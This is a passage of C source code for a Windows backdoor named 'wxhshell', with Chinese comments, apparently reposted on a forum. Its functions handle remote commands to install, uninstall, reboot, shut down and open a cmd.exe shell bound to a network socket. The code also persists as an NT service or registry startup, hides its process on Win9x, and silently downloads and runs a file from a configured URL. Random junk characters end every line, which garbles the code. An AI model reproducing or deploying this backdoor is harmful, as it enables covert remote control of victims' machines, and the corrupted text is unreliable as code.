  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ssw&'B|o  
  } *o!l/>4g  
  else { 6%E~p0)i%  
nx B32  
    switch(cmd[0]) { Q{[@`bZB  
  Lbsr_*4t  
  // 帮助 9^au$KoU  
  case '?': { F;pQ\Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zFywC-my@  
    break; , |l@j%  
  } wYjQ V?,  
  // 安装 ~H u"yAR  
  case 'i': { f|#8qiUS  
    if(Install()) Fom>'g*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z["BgEJ  
    else Pr`s0J%m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \"'\MA  
    break; z{|LQt6q  
    } >ukQ, CE~  
  // 卸载 (')(d HHW  
  case 'r': { 8aZ$5^z  
    if(Uninstall()) Pxqiv9D<R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =-Nsc1&  
    else ;\x~'@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wdwp9r  
    break; L7}i q0  
    } nVXg,Jl  
  // 显示 wxhshell 所在路径 :Jk33 N4y0  
  case 'p': { 7TpRCq#  
    char svExeFile[MAX_PATH]; Ig9d#c  
    strcpy(svExeFile,"\n\r"); g_vm&~U/'  
      strcat(svExeFile,ExeFile); GD&htob(  
        send(wsh,svExeFile,strlen(svExeFile),0); ZE rdt:w  
    break; CU$)QH{  
    } #9\THfb  
  // 重启 q$T8bh,2  
  case 'b': { 4sIX O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NI.`mc6X d  
    if(Boot(REBOOT)) {fU?idY)c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qp&4 1  
    else { `|EH[W&y  
    closesocket(wsh); '_ 0  
    ExitThread(0); 5ITq?%{M  
    } ^)0 9OV+hF  
    break; 5kn+ >{jh`  
    } |1Hc&  
  // 关机 0% +'  
  case 'd': { :6D0j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !y. $J<  
    if(Boot(SHUTDOWN)) iP#=:HZu;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aMJ;bQD  
    else { W#{la`#Bu  
    closesocket(wsh); h/K@IA d  
    ExitThread(0); .$0Pr%0pWI  
    } C ) ?uE'  
    break; Kt6>L5:94  
    } c`jDW S  
  // 获取shell % O%xpSYr  
  case 's': { YB5dnS"n  
    CmdShell(wsh); \bold"  
    closesocket(wsh); 3D_"y Z  
    ExitThread(0); ){ gAj  
    break; M{E{NK  
  } NXI[q 'y  
  // 退出 hcyO97@r  
  case 'x': { S-!=NX&C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [l*;E f,  
    CloseIt(wsh); mU@xc N  
    break; >DP:GcTG  
    } 3=- })X ;  
  // 离开 !re1EL  
  case 'q': { `!i-#~n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [/$N!2'5  
    closesocket(wsh); RJ}#)cT  
    WSACleanup(); X;!~<~@Y  
    exit(1); !` 26\@1  
    break; y@;%Uv&  
        } Jhy(x1%  
  } OipqoI2  
  } 6(KmA-!b(O  
URw5U1  
  // 提示信息 K9|7dvzC:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); af'@h:  
} *aRX \ TnN  
  } < kP+eD  
d#>y}H9  
  return; &z@~B&O  
} nIBFk?)6  
>qh?L#Fk  
// shell模块句柄 Cv^`&\[SW+  
int CmdShell(SOCKET sock) 6ep>hS4A&  
{ Yb:pAzw6  
STARTUPINFO si; :(p )1=I  
ZeroMemory(&si,sizeof(si)); r}W2Ak\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8\Hr5FqB(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +S9PML){h  
PROCESS_INFORMATION ProcessInfo; 8omC%a}9m  
char cmdline[]="cmd"; 2"&)W dm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zOB=aG?/  
  return 0; A'-_TFwW  
} Ik~1:D]f  
Fn+ ?u  
// 自身启动模式 v}[dnG  
int StartFromService(void) DDeE(E  
{ F]_cbM{8/  
typedef struct a$JLc a  
{ `hrQw)5?r  
  DWORD ExitStatus; XvKFPr0~  
  DWORD PebBaseAddress; GwLFL.Ke  
  DWORD AffinityMask; o#D.9K(  
  DWORD BasePriority; JhX=l-?  
  ULONG UniqueProcessId; yI)~]K r  
  ULONG InheritedFromUniqueProcessId; VKW|kU7Cs$  
}   PROCESS_BASIC_INFORMATION; s>%Pd7:  
T ):SGW  
PROCNTQSIP NtQueryInformationProcess; Uyx&E?SlEq  
,t,wy37*D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *b)Q5dw@1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x0Z5zV9  
*#&*`iJ(  
  HANDLE             hProcess; YZE.@Rz  
  PROCESS_BASIC_INFORMATION pbi; |vILp/"9=W  
%*W<vu>H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 50~K,Jx6B  
  if(NULL == hInst ) return 0; ^gYD*K!*  
CxF-Z7 '  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gEJi[E@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _[K#O,D,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z`U Ukl}T  
c`G&KCw)d  
  if (!NtQueryInformationProcess) return 0; '2nqHX D  
e3m*i}K}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A3{0q>CC  
  if(!hProcess) return 0; ziEz.Wn"  
'&yeQ   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jbmTmh1q  
Y(6Sp'0  
  CloseHandle(hProcess); ..<3%fL3  
XL5Es:"+?S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]}PV"|#K{c  
if(hProcess==NULL) return 0; H0*,8i5I  
@pza>^wk  
HMODULE hMod; JPx7EEkZR4  
char procName[255]; v:|( 8Y  
unsigned long cbNeeded; )qU7`0'8  
(@sp/:`6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R,_d1^|*w  
>e&:`2%.  
  CloseHandle(hProcess); -?a<qa?$  
6Bt=^~d  
if(strstr(procName,"services")) return 1; // 以服务启动 <4`eQ  
-1r2K  
  return 0; // 注册表启动 +K$NAT  
} [QczlwmO  
*"{& FEV  
// 主模块 x?yD=Mq_  
int StartWxhshell(LPSTR lpCmdLine) XbXA+ey6  
{ G^Tk 20*  
  SOCKET wsl; Ru\_dr2yI}  
BOOL val=TRUE; kQv*eZ~  
  int port=0; !Pj/7JC0  
  struct sockaddr_in door; }1H=wg>\  
xUWr}j4;  
  if(wscfg.ws_autoins) Install(); xN"Z1n7t  
b=[?b+  
port=atoi(lpCmdLine); 0$vj!-Mb^j  
E~hzh /,34  
if(port<=0) port=wscfg.ws_port; 6oL1_)  
Mi7y&~,  
  WSADATA data; (ywo a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #-# NqX:  
Qx`~g,wk8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !|G(Yg7C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Iy7pt~DJ,  
  door.sin_family = AF_INET; k(s;,B\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O8u3y  
  door.sin_port = htons(port); O m'(mr  
uB.-t^@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^]c6RE_  
closesocket(wsl); tj1JB%  
return 1; Ug"rJMZG  
} ! . HnGb+  
g!J0L7 i|  
  if(listen(wsl,2) == INVALID_SOCKET) { /Z%>ArAx  
closesocket(wsl); I!: z,t<  
return 1; i+vsp@d  
} u<tk G B  
  Wxhshell(wsl); ; y.E!  
  WSACleanup(); \gO,hST   
TH1B#Y#<J  
return 0; {rH9grb  
GG6% bF  
} edC 4BHE  
kODK@w V-  
// 以NT服务方式启动 n \G Ry'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $1Nd_pD=  
{ 8<#U9]  
DWORD   status = 0; )NW6?Pu"  
  DWORD   specificError = 0xfffffff; ]<w:V`(  
5\4g>5PD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =hH.zrI6e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5z/Er".P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )mN9(Ob!  
  serviceStatus.dwWin32ExitCode     = 0; fnu"*5bE  
  serviceStatus.dwServiceSpecificExitCode = 0; sq0 PBEqq  
  serviceStatus.dwCheckPoint       = 0; <G3&z#]#4  
  serviceStatus.dwWaitHint       = 0; uOi&G:=  
`S/wJ'c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +5p{5 q(o  
  if (hServiceStatusHandle==0) return; "4xfrlOc  
P9Q2gVGAO{  
status = GetLastError(); 6LUC!Sh  
  if (status!=NO_ERROR) DPHQ,dkp  
{ ^>$P)=O:v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <,%:   
    serviceStatus.dwCheckPoint       = 0; `iG,H[t+j  
    serviceStatus.dwWaitHint       = 0; VM=+afY5M  
    serviceStatus.dwWin32ExitCode     = status; D&:yMp(  
    serviceStatus.dwServiceSpecificExitCode = specificError; o4^Fo p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @e2}BhB2  
    return; x^=M6;:  
  } 12`_;[37  
v> z@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P&A|PY,P  
  serviceStatus.dwCheckPoint       = 0; 7*H:Ob)9k  
  serviceStatus.dwWaitHint       = 0; e;95a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x K%=  
} 9uB(Mx(-:`  
\c`oy=qY0  
// 处理NT服务事件,比如:启动、停止 Es5p}uh.[Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ra7uU*  
{ qv{o |g QB  
switch(fdwControl) j6}R7 $JR  
{ ZU&"73   
case SERVICE_CONTROL_STOP: x%> e)L<  
  serviceStatus.dwWin32ExitCode = 0; 90N`CXas  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mj,fp2D;%  
  serviceStatus.dwCheckPoint   = 0; '?*g%Yuz  
  serviceStatus.dwWaitHint     = 0; j -O2aL  
  { Kp iF0K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); = bt]JRU  
  } >`T5]_a  
  return; ]> !<G8 =N  
case SERVICE_CONTROL_PAUSE: h1"zV6U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J{"kw1Lu  
  break; b!>\2DlyJ  
case SERVICE_CONTROL_CONTINUE: Vd9@Dy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <eN R8(P  
  break; ik,lSTBD  
case SERVICE_CONTROL_INTERROGATE: $a;]_Y  
  break; $ItF])Bj5N  
}; "E=j|q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L#h:*U{@40  
} JcO08n  
B/uniR^x  
// 标准应用程序主函数 m>&HuHf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~4,I7c7  
{ ><?BqRm+  
|BU+:+  
// 获取操作系统版本 K`:=]Z8  
OsIsNt=GetOsVer(); <I*x0BM=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q}AE.Ef@<  
uZ6d35MJ  
  // 从命令行安装 /'DwfX  
  if(strpbrk(lpCmdLine,"iI")) Install(); ww d'0P`/  
2h^WYpCm  
  // 下载执行文件 e&I t  
if(wscfg.ws_downexe) { I?!rOU= 0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -0HkTY  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5ua?I9fY  
} ,5k-.Md>2*  
(X[2TT3j!  
if(!OsIsNt) { [\ )Ge  
// 如果时win9x,隐藏进程并且设置为注册表启动 3NK ^AaTK  
HideProc(); q`|CrOzO  
StartWxhshell(lpCmdLine); $6f\uuTU2"  
} D$k8^Vs  
else vFmJ;J  
  if(StartFromService()) vxlOh.a|/L  
  // 以服务方式启动 TJ@Cjy%  
  StartServiceCtrlDispatcher(DispatchTable); -C7FuD[Xw  
else FcbM7/  
  // 普通方式启动 %kI} [6J_  
  StartWxhshell(lpCmdLine); /M0/-pV 9  
B\`Aojw"E?  
return 0; obClBO)@Y  
}
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只看该作者 1 发表于: 2006-10-10
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